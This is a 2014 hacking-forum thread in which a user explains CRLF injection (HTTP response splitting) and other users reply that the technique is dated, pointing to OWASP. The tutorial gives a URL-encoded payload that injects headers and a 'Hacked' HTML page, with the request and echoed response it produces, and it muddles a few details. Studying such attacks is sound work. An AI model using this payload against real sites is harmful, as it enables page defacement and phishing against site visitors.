CRLF Injection - Manipulating an HTTP Request

CRLF Injection - Manipulating an HTTP Request - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: CRLF Injection - Manipulating an HTTP Request (/Thread-CRLF-Injection-Manipulating-an-HTTP-Request)

CRLF Injection - Manipulating an HTTP Request - Boomslang - 05-05-2014

[Image: 70b1OOOPIC10.jpg]

Hello [username],
I'm going the introduce you the CRLF vulnerability and explain its exploitation technique in this tutorial.
Lets start!

What Does CRLF Mean?
It's shortened of "Carriage Return and Line Feed". These are the names of the characters we're going to inject.

Code:
Carriage Return -> \r
Line Feed (New Line) -> \n

Looks familiar right?
When we push the Enter/Return button on our keyboard everytime, these characters been sending to proccessor for passing to a new line.
Extra Information: Equalivent of these characters in hexadecimal are 0A and 0D.

Exploitation
Now lets see an HTTP request.

Code:
GET http://www.tiggerwigger.com/index.php?param=val HTTP/1.0
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0
Host: www.tiggerwigger.com

This is a simple HTTP request with using GET method. We have a parameter that we can manipulate.

Code:
http://www.tiggerwigger.com/index.php?param=val

So if life gives us lemons, we'll make a lemonade Tongue

Lets manipulate that piece of shit Biggrin

We'll inject a web response using CRLF characters, so the server will echo back our response. Then our webbrowser will act it as an actual response and show our index. Confused? Let me give an example for you.

Let's add our exploit to URL and see what happens.

Code:
http://www.tiggerwigger.com/index.php?param=val%0D%0AContent-Type:%20text/html%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:%20text/html%0D%0A%0D%0A<center><h1>Hacked</h1></center>%20HTTP/1.1

Now our request will be like this;

Code:
GET http://www.tiggerwigger.com/index.php?param=val
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/html

<center><h1>Hacked</h1></center> HTTP/1.1 
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0
Host: www.tiggerwigger.com

And the server echoes it back to us..

Code:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Date: Wed, 01 Jun 2011 14:59:30 GMT
Allow: GET
Connection: close

HTTP/1.1 200 OK
Content-Type: text/html

<center><h1>Hacked</h1></center> HTTP/1.1

Our browser treated our injected response like an actual response and BAM! Our index appeared in the page.

I may have made mistakes feel free to correct them Smile

I hope you'll like this tutorial.

Au Revoir..

RE: CRLF Injection - Manipulating an HTTP Request - Boomslang - 05-05-2014

Wrong section sorry Biggrin

Can someone carry this to right section please? thanks Smile

RE: CRLF Injection - Manipulating an HTTP Request - dropzon3 - 05-05-2014

Seen this lately? Last CVE involving it was reported in 2005. All major HTTP services protect against this and I have never seen it on a production system this decade. Under all frameworks I know you can't even do this if you tried. (Though I havn't tried anytime recently)

RE: CRLF Injection - Manipulating an HTTP Request - Boomslang - 05-05-2014

(05-05-2014, 04:48 PM)dropzon3 Wrote: Seen this lately? Last CVE involving it was reported in 2005. All major HTTP services protect against this and I have never seen it on a production system this decade. Under all frameworks I know you can't even do this if you tried. (Though I havn't tried anytime recently)

I haven't seen this lately no. It must be an old one.

RE: CRLF Injection - Manipulating an HTTP Request - Ligeti - 05-05-2014

Mate... this is called HTTP Response Splitting Attack, and it is very difficult to orchestrate because of the so many requirements needed, and yes I saw this happening lately (while pentesting)

There is another use of this... but I can't remember where/what now!

More information: https://www.owasp.org/index.php/HTTP_Response_Splitting

The thing I like about your thread is that you actually explained it better than CEH v8 guide or owasp.org themselves! Easy to follow and understand (HQ as usual)

Thanks